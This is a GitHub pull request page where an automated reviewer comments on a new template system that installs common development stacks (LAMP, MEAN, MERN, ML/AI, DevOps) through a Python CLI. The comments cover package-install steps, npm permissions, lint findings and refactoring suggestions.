Add Installation Templates System for Common Development Stacks #201
Conversation
|
Warning Rate limit exceeded
⌛ How to resolve this issue?After the wait time has elapsed, a review can be triggered using the We recommend that you space out your commits to avoid hitting the rate limit. 🚦 How do rate limits work?CodeRabbit enforces hourly rate limits for each developer per organization. Our paid plans have higher rate limits than the trial, open-source and free plans. In all cases, we re-allow further reviews after a brief timeout. Please see our FAQ for further information. 📒 Files selected for processing (1)
📝 WalkthroughWalkthroughAdds a template-driven "stack" system: new Template models, validation and manager, five built-in YAML stacks, CLI stack subcommands and an install path that delegates to stack workflows, import/export, unit tests, and docs including migration from legacy template commands. Changes
Sequence Diagram(s)sequenceDiagram
participant User as User/CLI
participant CortexCLI as CortexCLI
participant Manager as TemplateManager
participant Hardware as HardwareProfiler
participant Coordinator as InstallationCoordinator
participant PackageMgr as PackageManager
User->>CortexCLI: install --stack "lamp"
CortexCLI->>Manager: load_template("lamp")
Manager-->>CortexCLI: Template
rect `#E6F0FF`
Note over CortexCLI,Manager: Hardware compatibility check
CortexCLI->>Manager: check_hardware_compatibility(template)
Manager->>Hardware: collect profile
Hardware-->>Manager: hardware info
Manager-->>CortexCLI: (compatible, warnings)
opt incompatible & interactive
CortexCLI->>User: prompt to continue?
end
end
rect `#EBFFEB`
Note over CortexCLI,Coordinator: Plan generation & execution
CortexCLI->>Manager: generate_commands(template)
Manager-->>CortexCLI: command list / steps
CortexCLI->>Coordinator: execute plan (steps)
Coordinator->>PackageMgr: run step commands / install packages
PackageMgr-->>Coordinator: progress/results
Coordinator-->>CortexCLI: execution result
end
rect `#FFF5DC`
Note over CortexCLI,PackageMgr: Verification & post-install
CortexCLI->>PackageMgr: run verification_commands
PackageMgr-->>CortexCLI: verification status
CortexCLI->>PackageMgr: run post_install commands
PackageMgr-->>CortexCLI: completion
CortexCLI->>User: show success or rollback hints
end
Estimated code review effort🎯 4 (Complex) | ⏱️ ~45 minutes Possibly related PRs
Suggested labels
Suggested reviewers
Poem
Pre-merge checks and finishing touches❌ Failed checks (1 warning)
✅ Passed checks (4 passed)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 13
🧹 Nitpick comments (14)
docs/TEMPLATES.md (2)
67-68: Fix bare URLs for better markdown rendering.The URLs on these lines should be wrapped in angle brackets
<>or converted to proper markdown links for better rendering and to comply with markdown linting standards.Based on learnings
Apply this diff:
**Access:** -- Apache: http://localhost -- phpMyAdmin: http://localhost/phpmyadmin +- Apache: <http://localhost> +- phpMyAdmin: <http://localhost/phpmyadmin>
318-331: Add language identifier to code fence.The code fence starting at line 319 should specify a language identifier (e.g.,
textorconsole) for proper syntax highlighting and to comply with markdown standards.Based on learnings
Apply this diff:
Output: -``` +```text 📋 Available Templates:cortex/templates/ml-ai.yaml (3)
25-33: Consider version pinning for ML libraries to ensure compatibility.Installing TensorFlow, PyTorch, and other ML libraries without version constraints can lead to:
- Dependency conflicts between TensorFlow and PyTorch
- Breaking changes in newer versions
- Incompatible transitive dependencies
- Non-reproducible installations
Consider specifying compatible version ranges:
- - command: pip3 install numpy pandas scipy matplotlib scikit-learn jupyter notebook + - command: pip3 install numpy pandas scipy matplotlib scikit-learn jupyter notebook description: Install core ML libraries requires_root: false - - command: pip3 install tensorflow torch torchvision torchaudio + - command: pip3 install tensorflow>=2.12.0,<3.0.0 torch>=2.0.0,<3.0.0 torchvision torchaudio description: Install deep learning frameworks requires_root: false
28-30: Add timeout or split large package installations.Installing TensorFlow and PyTorch together can take a very long time and consume significant bandwidth (multiple GB). Consider:
- Adding timeout handling
- Splitting into separate steps for better progress feedback
- Warning users about installation time and size
Split the installation for better UX:
- - command: pip3 install tensorflow torch torchvision torchaudio - description: Install deep learning frameworks + - command: pip3 install tensorflow + description: Install TensorFlow (this may take several minutes) + requires_root: false + - command: pip3 install torch torchvision torchaudio + description: Install PyTorch (this may take several minutes) requires_root: false
46-47: Simplify post-install verification commands.The complex shell commands with error redirection and fallbacks in post_install may fail silently or produce confusing output.
Simplify the commands:
- - echo "TensorFlow: $(python3 -c 'import tensorflow as tf; print(tf.__version__)' 2>/dev/null || echo 'installed')" - - echo "PyTorch: $(python3 -c 'import torch; print(torch.__version__)' 2>/dev/null || echo 'installed')" + - python3 -c "import tensorflow as tf; print(f'TensorFlow: {tf.__version__}')" || echo "TensorFlow: import failed" + - python3 -c "import torch; print(f'PyTorch: {torch.__version__}')" || echo "PyTorch: import failed"test/test_templates.py (1)
1-1: Make test file executable or remove shebang.The file has a shebang (
#!/usr/bin/env python3) but is not marked as executable. Either make it executable or remove the shebang.Make the file executable:
chmod +x test/test_templates.pyOr remove the shebang if the file is only meant to be run via pytest/unittest.
cortex/templates/mean.yaml (1)
1-64: Consider template refactoring to reduce duplication.The MEAN and MERN templates share significant structure:
- Same Node.js setup process (lines 13-21)
- Same MongoDB installation (lines 25-35)
- Similar verification commands
While templates should remain self-contained for clarity, consider documenting common patterns or creating template composition capabilities in future iterations to reduce maintenance burden.
cortex/templates/devops.yaml (1)
1-93: DevOps template structure looks solid; only minor consistency nitThe template fields (metadata,
packages,steps,hardware_requirements,post_install,verification_commands,metadata) line up with theTemplate/InstallationStepmodel and should round‑trip cleanly throughTemplate.from_dict/TemplateValidator. Therequires_rootflags also correctly mark privileged operations.One optional improvement: the
packageslist is more conceptual, while the actual installation is driven by the explicitsteps(e.g., Docker installed via the official repo asdocker-ce, notdocker.io). If you want history and UX to reflect the exact packages that were installed, you could either (a) alignpackageswith the concrete packages used in the steps, or (b) leavepackagesempty for step‑driven templates and let history derive packages from the commands instead. Not required, but it would remove a small source of confusion when inspecting installation records.cortex/cli.py (4)
299-304: Minor polish: avoid placeholder-free f-stringsThere are a couple of f-strings that don’t interpolate anything (e.g.,
print(f"\n[WARNING] Hardware Compatibility Warnings:")andprint("\n(Dry run mode - commands not executed)")vsprint(f"\n(Dry run mode - commands not executed)")). These trigger Ruff F541 and can just be plain strings:- print(f"\n[WARNING] Hardware Compatibility Warnings:") + print("\n[WARNING] Hardware Compatibility Warnings:") @@ - print(f"\n(Dry run mode - commands not executed)") + print("\n(Dry run mode - commands not executed)")This is cosmetic only, but it quiets the linter and clarifies intent.
Also applies to: 339-344
479-535: Improve robustness of interactivetemplate_createThe interactive
template_createflow works, but a couple of small tweaks would make it more robust:
- You re-import
TemplateandHardwareRequirementsinside the method even though they’re already imported at module level.- Converting hardware requirement inputs directly with
int()will raiseValueErroron non-numeric input and surface as a generic “Failed to create template” error.You could simplify and harden this block like:
- # Create template - from cortex.templates import Template, HardwareRequirements - template = Template( + # Create template + template = Template( name=name, description=description, version=version, author=author, packages=packages ) @@ - if min_ram or min_cores or min_storage: - hw_req = HardwareRequirements( - min_ram_mb=int(min_ram) if min_ram else None, - min_cores=int(min_cores) if min_cores else None, - min_storage_mb=int(min_storage) if min_storage else None - ) - template.hardware_requirements = hw_req + if min_ram or min_cores or min_storage: + try: + hw_req = HardwareRequirements( + min_ram_mb=int(min_ram) if min_ram else None, + min_cores=int(min_cores) if min_cores else None, + min_storage_mb=int(min_storage) if min_storage else None, + ) + template.hardware_requirements = hw_req + except ValueError: + self._print_error("Hardware requirements must be integers (MB/cores).") + return 1This avoids a surprising stack trace for a simple input typo and removes an unnecessary re-import.
619-640: Argparse wiring fortemplatesubcommands is correct; minor cleanupThe CLI wiring for
templatesubcommands andinstall --templatelooks good and should behave as documented. A couple of nits from static analysis:
template_list_parseris assigned but never used; you can drop the variable and just calladd_parser(...).- The
templatedispatch block is exhaustive; the finalelsebranch printingtemplate_parser.print_help()is fine.Example cleanup:
- # Template list - template_list_parser = template_subparsers.add_parser('list', help='List all available templates') + # Template list + template_subparsers.add_parser('list', help='List all available templates')Functionally everything is sound; this just reduces a tiny bit of dead code and silences Ruff’s F841 warning.
Also applies to: 649-673
59-76: Template-awareinstallflow is consistent with existing behaviorThe updated
installmethod short-circuits to_install_from_templatewhentemplateis provided, and the CLI entrypoint correctly passes an emptysoftwarestring only in that case:
- When
--templateis set,installdoes not touch the LLM path or thesoftwareargument, so the empty string is harmless.- When
softwareis given without--template, the original LLM-driven flow is preserved.There is a tiny bit of duplication (
InstallationHistory()andstart_timeare created even when immediately delegating to_install_from_template), but that’s just an efficiency nit and not worth complicating the control flow right now.Also applies to: 649-657
cortex/templates.py (2)
428-452: Reuse the existingPackageManagerinstead of instantiating a new one
TemplateManager.__init__already createsself._package_manager = PackageManager(), butgenerate_commandsignores it and instantiates a newPackageManager:elif template.packages: # Use package manager to generate commands pm = PackageManager() package_list = " ".join(template.packages) try: commands = pm.parse(f"install {package_list}")This is minor, but it means you re-run package manager detection and mappings unnecessarily. You can simplify and avoid redundant work by reusing the existing instance:
- elif template.packages: - # Use package manager to generate commands - pm = PackageManager() - package_list = " ".join(template.packages) + elif template.packages: + # Use the existing package manager to generate commands + pm = self._package_manager + package_list = " ".join(template.packages)Functionally it’s equivalent, but keeps initialization centralized and slightly reduces overhead when generating commands from templates.
151-156: AnnotateTemplateValidator.REQUIRED_FIELDS/REQUIRED_STEP_FIELDSasClassVarRuff correctly points out that the mutable class attributes in
TemplateValidatorshould be annotated asClassVarto make their intent clear and avoid confusion with instance fields:-from typing import Dict, List, Optional, Any, Set, Tuple +from typing import Dict, List, Optional, Any, Set, Tuple, ClassVar @@ class TemplateValidator: @@ - REQUIRED_FIELDS = ["name", "description", "version"] - REQUIRED_STEP_FIELDS = ["command", "description"] + REQUIRED_FIELDS: ClassVar[List[str]] = ["name", "description", "version"] + REQUIRED_STEP_FIELDS: ClassVar[List[str]] = ["command", "description"]This doesn’t change runtime behavior but makes the dataclass/linter story cleaner and documents that these are shared constants, not per-instance state.
📜 Review details
Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro
📒 Files selected for processing (11)
cortex/cli.py(7 hunks)cortex/templates.py(1 hunks)cortex/templates/README.md(1 hunks)cortex/templates/devops.yaml(1 hunks)cortex/templates/lamp.yaml(1 hunks)cortex/templates/mean.yaml(1 hunks)cortex/templates/mern.yaml(1 hunks)cortex/templates/ml-ai.yaml(1 hunks)docs/TEMPLATES.md(1 hunks)src/requirements.txt(1 hunks)test/test_templates.py(1 hunks)
🧰 Additional context used
🧬 Code graph analysis (3)
cortex/templates.py (2)
src/hwprofiler.py (2)
HardwareProfiler(15-439)profile(399-426)cortex/packages.py (2)
PackageManager(23-452)PackageManagerType(16-20)
test/test_templates.py (1)
cortex/templates.py (16)
Template(54-148)TemplateManager(201-517)TemplateValidator(151-198)TemplateFormat(25-28)HardwareRequirements(32-40)InstallationStep(44-50)to_dict(67-106)from_dict(109-148)validate(158-198)load_template(241-261)save_template(263-293)list_templates(295-338)generate_commands(428-452)import_template(454-489)export_template(491-517)check_hardware_compatibility(340-426)
cortex/cli.py (3)
cortex/templates.py (12)
TemplateManager(201-517)Template(54-148)TemplateFormat(25-28)InstallationStep(44-50)load_template(241-261)list_templates(295-338)check_hardware_compatibility(340-426)generate_commands(428-452)HardwareRequirements(32-40)save_template(263-293)import_template(454-489)export_template(491-517)cortex/coordinator.py (6)
InstallationStep(19-32)execute(202-249)InstallationCoordinator(44-300)from_plan(78-124)StepStatus(10-15)verify_installation(251-273)installation_history.py (7)
InstallationHistory(68-653)_extract_packages_from_commands(212-244)record_installation(252-308)InstallationType(25-31)update_installation(310-362)InstallationStatus(34-39)rollback(461-586)
🪛 markdownlint-cli2 (0.18.1)
docs/TEMPLATES.md
67-67: Bare URL used
(MD034, no-bare-urls)
68-68: Bare URL used
(MD034, no-bare-urls)
319-319: Fenced code blocks should have a language specified
(MD040, fenced-code-language)
🪛 Ruff (0.14.5)
cortex/templates.py
1-1: Shebang is present but file is not executable
(EXE001)
154-154: Mutable class attributes should be annotated with typing.ClassVar
(RUF012)
155-155: Mutable class attributes should be annotated with typing.ClassVar
(RUF012)
259-259: Consider moving this statement to an else block
(TRY300)
260-260: Do not catch blind exception: Exception
(BLE001)
261-261: Within an except clause, raise exceptions with raise ... from err or raise ... from None to distinguish them from errors in exception handling
(B904)
261-261: Avoid specifying long messages outside the exception class
(TRY003)
261-261: Use explicit conversion flag
Replace with conversion flag
(RUF010)
279-279: Avoid specifying long messages outside the exception class
(TRY003)
315-316: try-except-pass detected, consider logging the exception
(S110)
315-315: Do not catch blind exception: Exception
(BLE001)
335-336: try-except-pass detected, consider logging the exception
(S110)
335-335: Do not catch blind exception: Exception
(BLE001)
467-467: Avoid specifying long messages outside the exception class
(TRY003)
485-485: Abstract raise to an inner function
(TRY301)
485-485: Avoid specifying long messages outside the exception class
(TRY003)
487-487: Consider moving this statement to an else block
(TRY300)
488-488: Do not catch blind exception: Exception
(BLE001)
489-489: Within an except clause, raise exceptions with raise ... from err or raise ... from None to distinguish them from errors in exception handling
(B904)
489-489: Avoid specifying long messages outside the exception class
(TRY003)
489-489: Use explicit conversion flag
Replace with conversion flag
(RUF010)
506-506: Avoid specifying long messages outside the exception class
(TRY003)
test/test_templates.py
1-1: Shebang is present but file is not executable
(EXE001)
cortex/cli.py
294-294: f-string without any placeholders
Remove extraneous f prefix
(F541)
301-301: f-string without any placeholders
Remove extraneous f prefix
(F541)
398-398: subprocess call with shell=True identified, security issue
(S602)
408-408: subprocess call with shell=True identified, security issue
(S602)
441-441: Consider moving this statement to an else block
(TRY300)
448-448: Do not catch blind exception: Exception
(BLE001)
451-451: Use explicit conversion flag
Replace with conversion flag
(RUF010)
474-474: Consider moving this statement to an else block
(TRY300)
475-475: Do not catch blind exception: Exception
(BLE001)
476-476: Use explicit conversion flag
Replace with conversion flag
(RUF010)
536-536: Do not catch blind exception: Exception
(BLE001)
537-537: Use explicit conversion flag
Replace with conversion flag
(RUF010)
552-552: Consider moving this statement to an else block
(TRY300)
553-553: Do not catch blind exception: Exception
(BLE001)
554-554: Use explicit conversion flag
Replace with conversion flag
(RUF010)
566-566: Consider moving this statement to an else block
(TRY300)
567-567: Do not catch blind exception: Exception
(BLE001)
568-568: Use explicit conversion flag
Replace with conversion flag
(RUF010)
624-624: Local variable template_list_parser is assigned to but never used
Remove assignment to unused variable template_list_parser
(F841)
🔇 Additional comments (4)
cortex/templates/README.md (1)
1-65: LGTM! Well-structured template directory documentation.This README provides a clear overview of the available templates, usage examples, and template format structure. The reference to the comprehensive TEMPLATES.md documentation is helpful.
test/test_templates.py (1)
27-451: LGTM! Comprehensive test coverage for template system.The test suite provides excellent coverage of the template system:
- Template creation and serialization (to_dict/from_dict)
- Validation with various error conditions
- Template management (load, save, list)
- Command generation from packages and steps
- Import/export functionality
- Hardware compatibility checking
- Multiple format support (YAML/JSON)
The tests are well-structured with proper setup/teardown and use temporary directories to avoid side effects.
cortex/templates/mean.yaml (1)
22-24: Verify npm global installation permissions.Same issue as MERN: global npm installations typically require root unless npm is configured with a user-level prefix.
This requires the same verification as the MERN template. The npm configuration should be checked to ensure
-ginstallations work without root.src/requirements.txt (1)
7-7: No security issues found; version constraint is secure.The specified constraint
pyyaml>=6.0.0is secure. All identified CRITICAL vulnerabilities (from 2019-2021) are in versions < 5.4 and have been patched; versions 6.0.0 and later are safe. The latest version is 6.0.3. The current constraint reasonably allows patch updates within the 6.0.x line.
cortex/templates/mern.yaml
Outdated
| - command: npm install -g create-react-app express-generator | ||
| description: Install React and Express generators globally | ||
| requires_root: false |
There was a problem hiding this comment.
🧩 Analysis chain
Verify npm global installation permissions.
Global npm installations (npm install -g) typically require elevated privileges unless npm is configured with a user-level prefix. With requires_root: false, this command may fail on many systems.
Run the following to check typical npm configuration and verify the command will work:
🏁 Script executed:
#!/bin/bash
# Check default npm prefix and permissions
echo "=== NPM global prefix ==="
npm config get prefix
echo -e "\n=== Checking if npm -g requires root ==="
# Test if user can write to global npm directory
NPM_PREFIX=$(npm config get prefix 2>/dev/null || echo "/usr/local")
if [ -w "$NPM_PREFIX/lib/node_modules" ]; then
echo "User can write to global npm directory"
else
echo "User CANNOT write to global npm directory - requires root"
fiLength of output: 136
🏁 Script executed:
#!/bin/bash
# Get full context of the MERN template
echo "=== Full mern.yaml content (lines 1-50) ==="
head -50 cortex/templates/mern.yaml
echo -e "\n=== Searching for npm configuration in template ==="
grep -n "npm" cortex/templates/mern.yaml || echo "No other npm references found"
echo -e "\n=== Checking if there are setup instructions ==="
find cortex/templates -name "*.md" -o -name "README*" | head -5Length of output: 1738
Change requires_root: false to requires_root: true for npm global installation.
The template installs Node.js via apt with requires_root: true (lines 20-22), which configures npm's global prefix at /usr/local owned by root. Subsequent npm install -g commands must also run as root. The mismatch at line 23-25 will cause the command to fail with permission errors.
- command: npm install -g create-react-app express-generator
description: Install React and Express generators globally
requires_root: true
🤖 Prompt for AI Agents
In cortex/templates/mern.yaml around lines 22 to 24 the npm global install
command is marked requires_root: false while previous steps configured npm
global prefix under /usr/local as root; change requires_root to true so the npm
install -g runs with root privileges and will succeed without permission errors.
There was a problem hiding this comment.
Actionable comments posted: 1
🧹 Nitpick comments (8)
cortex/templates/ml-ai.yaml (1)
35-41: GPU/CUDA recommendation is descriptive only (no compatibility check).With
requires_gpu: falseandrequires_cuda: false, the hardware compatibility logic inTemplateManager.check_hardware_compatibilitywill never emit GPU/CUDA warnings for this template, even though the description recommends a GPU for deep learning. That’s fine if GPU is truly optional, but if you want the CLI to surface a warning when no suitable GPU/CUDA is detected (while still allowing users to continue), consider setting the GPU/CUDA flags and a minimal CUDA version so the checker can report that guidance programmatically.cortex/cli.py (5)
345-380: Add a progress callback for step-based template executions.When
template.stepsis present you build aplanand callInstallationCoordinator.from_plan(...)without aprogress_callback, so template-based installs with explicit steps won’t show per-step progress, while the fallback branch usingInstallationCoordinator(...)does.For consistent UX, consider wiring a progress callback into the
from_plancall similar to the non-steps branch, e.g., defining a localprogress_callbackand passing it as a keyword argument.
394-400: Post-install commands executed viashell=Trueon template content.
template.post_installentries are executed withsubprocess.run(cmd, shell=True). Given these commands are template-controlled (and potentially user-imported), this is powerful and expected, but it also means any imported template effectively has arbitrary shell execution rights when--executeis used.If you want a safer default, you could:
- Reserve
shell=Trueonly for commands that truly need shell features, or- Treat post-install purely as informational (e.g.,
echotext parsed and printed via Python) and move “real” commands intostepswhere you might later add richer controls.Not a blocker, but worth consciously documenting as part of the trust model for templates.
448-471: Template CLI commands use broadexcept Exception; consider narrowing or surfacing more detail.
template_list,template_create, andtemplate_import/template_exportall wrap their bodies inexcept Exception as e, which is flagged by static analysis and can hide useful distinctions between user errors (bad paths, invalid formats) and actual bugs.Consider:
- Catching more specific exceptions where possible (e.g.,
FileNotFoundError,ValueError,OSError), and- Letting unexpected exceptions bubble up to the outer
main()handler, or at least re‑raising after logging for debugging.This improves debuggability without changing behavior for expected user-facing failures.
618-619: Remove unusedtemplate_list_parservariable to satisfy linting.
template_list_parseris assigned but never used; Ruff flags this as F841. Since you don’t need the parser reference later, you can drop the binding:- # Template list - template_list_parser = template_subparsers.add_parser('list', help='List all available templates') + # Template list + template_subparsers.add_parser('list', help='List all available templates')
643-651: Ambiguous combination ofsoftwareand--templatearguments.In
main(), if bothargs.templateandargs.softwareare provided, theargs.templatebranch wins andsoftwareis ignored. That’s reasonable, but it’s implicit.If you expect users might accidentally mix modes, consider rejecting that combination explicitly (e.g., print an error when both are set) or documenting that
--templatetakes precedence.cortex/templates.py (2)
436-459: Reuse the existingPackageManagerinstance ingenerate_commands.You already construct
self._package_managerin__init__, butgenerate_commandsinstantiates a newPackageManagereach time. To avoid redundant detection and configuration, you can reuse the existing instance:- elif template.packages: - # Use package manager to generate commands - pm = PackageManager() - package_list = " ".join(template.packages) + elif template.packages: + # Use shared package manager to generate commands + pm = self._package_manager + package_list = " ".join(template.packages)The rest of the logic (parse + fallback) can remain unchanged.
299-324: Silent swallowing of malformed built-in templates.In
list_templates, malformed built-in templates are caught withexcept Exception: pass. This keeps listing robust if one template is broken, but it also hides which template failed and why.If you’d like more visibility without breaking UX, consider logging these exceptions at a debug or warning level (or at least including the filename in a diagnostic message) instead of fully suppressing them.
📜 Review details
Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro
📒 Files selected for processing (6)
cortex/cli.py(7 hunks)cortex/templates.py(1 hunks)cortex/templates/lamp.yaml(1 hunks)cortex/templates/mean.yaml(1 hunks)cortex/templates/mern.yaml(1 hunks)cortex/templates/ml-ai.yaml(1 hunks)
🚧 Files skipped from review as they are similar to previous changes (3)
- cortex/templates/lamp.yaml
- cortex/templates/mean.yaml
- cortex/templates/mern.yaml
🧰 Additional context used
🧬 Code graph analysis (2)
cortex/cli.py (3)
cortex/templates.py (11)
Template(54-148)TemplateFormat(25-28)InstallationStep(44-50)load_template(241-261)list_templates(295-346)check_hardware_compatibility(348-434)generate_commands(436-460)HardwareRequirements(32-40)save_template(263-293)import_template(462-497)export_template(499-525)cortex/coordinator.py (5)
InstallationStep(19-32)execute(202-249)InstallationCoordinator(44-300)from_plan(78-124)verify_installation(251-273)installation_history.py (6)
_extract_packages_from_commands(212-244)record_installation(252-308)InstallationType(25-31)update_installation(310-362)InstallationStatus(34-39)rollback(461-586)
cortex/templates.py (2)
src/hwprofiler.py (1)
profile(399-426)cortex/packages.py (2)
PackageManager(23-452)PackageManagerType(16-20)
🪛 Ruff (0.14.5)
cortex/cli.py
294-294: f-string without any placeholders
Remove extraneous f prefix
(F541)
399-399: subprocess call with shell=True identified, security issue
(S602)
435-435: Consider moving this statement to an else block
(TRY300)
445-445: Use explicit conversion flag
Replace with conversion flag
(RUF010)
468-468: Consider moving this statement to an else block
(TRY300)
469-469: Do not catch blind exception: Exception
(BLE001)
470-470: Use explicit conversion flag
Replace with conversion flag
(RUF010)
530-530: Do not catch blind exception: Exception
(BLE001)
531-531: Use explicit conversion flag
Replace with conversion flag
(RUF010)
546-546: Consider moving this statement to an else block
(TRY300)
547-547: Do not catch blind exception: Exception
(BLE001)
548-548: Use explicit conversion flag
Replace with conversion flag
(RUF010)
560-560: Consider moving this statement to an else block
(TRY300)
561-561: Do not catch blind exception: Exception
(BLE001)
562-562: Use explicit conversion flag
Replace with conversion flag
(RUF010)
618-618: Local variable template_list_parser is assigned to but never used
Remove assignment to unused variable template_list_parser
(F841)
cortex/templates.py
1-1: Shebang is present but file is not executable
(EXE001)
154-154: Mutable class attributes should be annotated with typing.ClassVar
(RUF012)
155-155: Mutable class attributes should be annotated with typing.ClassVar
(RUF012)
259-259: Consider moving this statement to an else block
(TRY300)
260-260: Do not catch blind exception: Exception
(BLE001)
261-261: Within an except clause, raise exceptions with raise ... from err or raise ... from None to distinguish them from errors in exception handling
(B904)
261-261: Avoid specifying long messages outside the exception class
(TRY003)
261-261: Use explicit conversion flag
Replace with conversion flag
(RUF010)
279-279: Avoid specifying long messages outside the exception class
(TRY003)
322-324: try-except-pass detected, consider logging the exception
(S110)
322-322: Do not catch blind exception: Exception
(BLE001)
343-344: try-except-pass detected, consider logging the exception
(S110)
343-343: Do not catch blind exception: Exception
(BLE001)
475-475: Avoid specifying long messages outside the exception class
(TRY003)
493-493: Abstract raise to an inner function
(TRY301)
493-493: Avoid specifying long messages outside the exception class
(TRY003)
495-495: Consider moving this statement to an else block
(TRY300)
496-496: Do not catch blind exception: Exception
(BLE001)
497-497: Within an except clause, raise exceptions with raise ... from err or raise ... from None to distinguish them from errors in exception handling
(B904)
497-497: Avoid specifying long messages outside the exception class
(TRY003)
497-497: Use explicit conversion flag
Replace with conversion flag
(RUF010)
514-514: Avoid specifying long messages outside the exception class
(TRY003)
🔇 Additional comments (1)
cortex/templates.py (1)
295-346:list_templatescorrectly differentiates built-in vs user templates now.Loading built-ins directly from their files instead of going through
load_template()fixes the earlier misclassification when a user template shadowed a built-in name. The “built-in” vs “user” typing and path reporting now correctly reflect which file backs each template.
There was a problem hiding this comment.
Actionable comments posted: 4
🧹 Nitpick comments (3)
cortex/cli.py (3)
444-448: Consider more granular error handling and explicit f-string conversion.The broad exception tuple on line 444 might mask unexpected errors. While reasonable for a CLI tool, consider logging the exception type to aid debugging.
Apply this diff for better observability:
- except (RuntimeError, OSError, subprocess.SubprocessError) as e: + except (RuntimeError, OSError, subprocess.SubprocessError) as e: + logger.debug(f"Exception type: {type(e).__name__}") if install_id: history.update_installation(install_id, InstallationStatus.FAILED, str(e)) - self._print_error(f"Unexpected error: {str(e)}") + self._print_error(f"Unexpected error: {e!s}") return 1The
!sconversion flag (line 447) makes the string conversion explicit, as suggested by static analysis.
471-472: Optional: Add logging to broad exception handlers for debugging.The template management methods catch broad exceptions (lines 471, 533, 549, 563) to provide user-friendly error messages. While appropriate for a CLI, consider adding debug logging to preserve stack traces for troubleshooting.
Example pattern for one method (apply similarly to others):
+import logging + +logger = logging.getLogger(__name__) + except Exception as e: + logger.exception("Template operation failed") # Logs full traceback at DEBUG level - self._print_error(f"Failed to list templates: {str(e)}") + self._print_error(f"Failed to list templates: {e!s}") return 1Also use explicit
!sconversion flags as suggested by static analysis (lines 472, 533, 550, 564).Also applies to: 532-533, 549-550, 563-564
116-168: Consider extracting shared installation execution logic.The installation execution flow in both
install(lines 116-168) and_install_from_template(lines 347-432) contains significant duplication:
- Coordinator creation and execution
- Result handling (success/failure paths)
- History recording
- Progress callbacks
- Error messages
Consider extracting the common logic into a helper method:
def _execute_installation( self, commands: List[str], descriptions: List[str], install_id: Optional[str], history: InstallationHistory, software_name: str, verification_commands: Optional[List[str]] = None, post_install_commands: Optional[List[str]] = None, coordinator_plan: Optional[List[Dict[str, str]]] = None ) -> int: """Common installation execution logic.""" def progress_callback(current, total, step): status_emoji = "⏳" if step.status == StepStatus.SUCCESS: status_emoji = "✅" elif step.status == StepStatus.FAILED: status_emoji = "❌" print(f"\n[{current}/{total}] {status_emoji} {step.description}") print(f" Command: {step.command}") # Create coordinator if coordinator_plan: coordinator = InstallationCoordinator.from_plan(coordinator_plan, timeout=300, stop_on_error=True) else: coordinator = InstallationCoordinator( commands=commands, descriptions=descriptions, timeout=300, stop_on_error=True, progress_callback=progress_callback ) print("\nExecuting commands...") result = coordinator.execute() if result.success: # Run verification if provided if verification_commands: self._print_status("[*]", "Verifying installation...") verify_results = coordinator.verify_installation(verification_commands) # ... verification logic # Run post-install if provided if post_install_commands: self._print_status("[*]", "Running post-installation steps...") # ... post-install logic self._print_success(f"{software_name} ready!") print(f"\nCompleted in {result.total_duration:.2f} seconds") if install_id: history.update_installation(install_id, InstallationStatus.SUCCESS) print(f"\n📝 Installation recorded (ID: {install_id})") print(f" To rollback: cortex rollback {install_id}") return 0 else: # Failure handling... if install_id: history.update_installation(install_id, InstallationStatus.FAILED, result.error_message or "Installation failed") # ... error messages return 1Then both methods can call this helper, reducing duplication by ~50 lines while maintaining readability.
Also applies to: 347-432
📜 Review details
Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro
📒 Files selected for processing (1)
cortex/cli.py(7 hunks)
🧰 Additional context used
🧬 Code graph analysis (1)
cortex/cli.py (3)
cortex/templates.py (11)
TemplateManager(201-525)Template(54-148)TemplateFormat(25-28)InstallationStep(44-50)load_template(241-261)list_templates(295-346)check_hardware_compatibility(348-434)generate_commands(436-460)HardwareRequirements(32-40)import_template(462-497)export_template(499-525)cortex/coordinator.py (6)
InstallationStep(19-32)execute(202-249)InstallationCoordinator(44-300)from_plan(78-124)StepStatus(10-15)verify_installation(251-273)installation_history.py (6)
_extract_packages_from_commands(212-244)record_installation(252-308)InstallationType(25-31)update_installation(310-362)InstallationStatus(34-39)rollback(461-586)
🪛 Ruff (0.14.5)
cortex/cli.py
294-294: f-string without any placeholders
Remove extraneous f prefix
(F541)
401-401: subprocess call with shell=True identified, security issue
(S602)
437-437: Consider moving this statement to an else block
(TRY300)
447-447: Use explicit conversion flag
Replace with conversion flag
(RUF010)
470-470: Consider moving this statement to an else block
(TRY300)
471-471: Do not catch blind exception: Exception
(BLE001)
472-472: Use explicit conversion flag
Replace with conversion flag
(RUF010)
532-532: Do not catch blind exception: Exception
(BLE001)
533-533: Use explicit conversion flag
Replace with conversion flag
(RUF010)
548-548: Consider moving this statement to an else block
(TRY300)
549-549: Do not catch blind exception: Exception
(BLE001)
550-550: Use explicit conversion flag
Replace with conversion flag
(RUF010)
562-562: Consider moving this statement to an else block
(TRY300)
563-563: Do not catch blind exception: Exception
(BLE001)
564-564: Use explicit conversion flag
Replace with conversion flag
(RUF010)
620-620: Local variable template_list_parser is assigned to but never used
Remove assignment to unused variable template_list_parser
(F841)
🔇 Additional comments (3)
cortex/cli.py (3)
13-13: LGTM! Clean template system integration.The import of template entities and the routing logic to delegate template-based installations to
_install_from_templateare well-structured. The optionaltemplateparameter maintains backward compatibility with existing LLM-based installations.Also applies to: 59-68
298-314: Hardware prompt handling improved.The error message for non-interactive environments is now clear and actionable, addressing the previous review feedback. The prompt correctly aborts installation when confirmation cannot be obtained, and provides helpful guidance to users.
396-401: Post-install commands now execute correctly.The duplicate execution issue from the previous review has been resolved. Post-install commands now run exactly once, eliminating redundant output and potential side effects.
There was a problem hiding this comment.
Actionable comments posted: 3
🧹 Nitpick comments (4)
cortex/cli.py (1)
652-656: Consider makingsoftwareparameter optional ininstall()method.The routing passes an empty string
""forsoftwarewhen using--template, which is awkward. Since the method already handles templates via a separate parameter, consider makingsoftwareoptional:- def install(self, software: str, execute: bool = False, dry_run: bool = False, template: Optional[str] = None): + def install(self, software: Optional[str] = None, execute: bool = False, dry_run: bool = False, template: Optional[str] = None):Then update the routing:
